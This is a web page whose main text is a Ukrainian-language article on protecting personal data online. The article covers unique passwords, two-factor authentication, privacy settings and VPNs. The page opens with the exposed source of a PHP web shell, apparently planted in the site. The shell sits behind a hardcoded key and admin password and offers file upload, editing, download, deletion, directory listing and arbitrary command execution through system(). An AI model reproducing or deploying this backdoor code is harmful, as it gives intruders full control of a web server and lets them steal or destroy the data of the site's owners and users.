if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Методи захисту особистих даних в Інтернеті для користувачів – collectives.berlin

Your digital paradise.

Методи захисту особистих даних в Інтернеті для користувачів

Завжди використовуйте унікальні комбінації для різних акаунтів. Ніколи не повторюйте паролі між платформами. Рекомендовано обирати комбінації з великих і малих літер, goodtech.com.ua цифр і спеціальних символів для підвищення складності.

Використання двофакторної аутентифікації значно знижує ризики несанкціонованого доступу. Підключайте цей метод на всіх доступних ресурсах, він додає додатковий рівень захисту, навіть якщо ваш пароль зламано.

Регулярно переглядайте налаштування конфіденційності на сайтах. Слідкуйте за тим, що ви публікуєте, і з ким ділитеся. Виключайте доступ до особистої інформації для незнайомих контактів та сторонніх додатків.

Врахуйте, що використання VPN служить надійним бар’єром при з’єднанні з публічними Wi-Fi мережами. Вибирайте надійні провайдери, аби ваш інтернет-трафік був захищеним.

Використання паролів і двофакторної аутентифікації

Створіть унікальні паролі для кожного сервісу, де ви реєструєтеся. Не використовуйте однакові комбінації для різних платформ, оскільки компрометація однієї обліковки може загрожувати іншим. Вимоги до паролів можуть включати великі та малі літери, цифри і спеціальні символи. Наприклад, замість простого слова ‘пароль’ використовуйте комбінацію, таку як ‘P@r0lL#2023’.

Розгляньте можливість використання менеджера паролів. Цей інструмент допоможе зберігати й генерувати складні комбінації, що забезпечить високий рівень захисту. Ви зможете не турбуватися про запам’ятовування великої кількості ризикованих паролів, адже програма зробить це за вас.

  • Завжди активуйте двофакторну автентифікацію, коли це можливо.»
  • Цей процес передбачає введення додаткового коду, надісланого на ваш мобільний пристрій або електронну пошту.
  • Досліджуйте доступні методи аутентифікації, такі як SMS-повідомлення або додатки аутентифікації, як Google Authenticator або Authy.

Регулярно змінюйте паролі, особливо якщо є підозра на злом вашої обліковки. Використовуйте сповіщення про входи з незнайомих пристроїв, щоб реагувати на можливі загрози. Слідкуйте за своїми обліковими записами, щоб вчасно виявити можливі порушення безпеки.

Захист інформації в соціальних мережах

Перевіряйте налаштування конфіденційності перед тим, як публікувати будь-який контент. Системи соціальних платформ дозволяють обмежити доступ до вашого профілю лише для обраних осіб. Зробіть свій профіль закритим, якщо не бажаєте, щоб ваша інформація була доступною всім.

Використовуйте двофакторну аутентифікацію. Це додає додатковий рівень безпеки, вимагаючи підтвердження входу через SMS або іншою програмою. Цей крок захищає ваш обліковий запис навіть у випадку, якщо пароль буде скомпрометовано.

Обмеження доступу до особистих даних

Уникайте публікації особистих відомостей, таких як домашня адреса чи номер телефону, в профілі. Деколи навіть безневинна інформація може бути використана для шахрайства або крадіжки ідентичності.

Регулярно переглядайте список друзів та контактів. Справжність профілів недостатньо перевіряється, тому краще видалити підозрілі акаунти, які можуть зібрати ваші дані для зловмисних цілей.

Контроль за контентом

Будьте обережні при взаємодії з підозрілими посиланнями чи запрошеннями на розіграші. Часто такі дії спрямовані на збір особистої інформації, а згодом і на фінансові махінації.

Слідкуйте за тим, що публікують ваші друзі. Якщо ви знайдете фотографії або пости, які вам не до вподоби, попросіть їх видалити чи відредагувати. Це допоможе зберегти вашу репутацію та уникнути небажаних наслідків.

Leave a Reply

Your email address will not be published. Required fields are marked *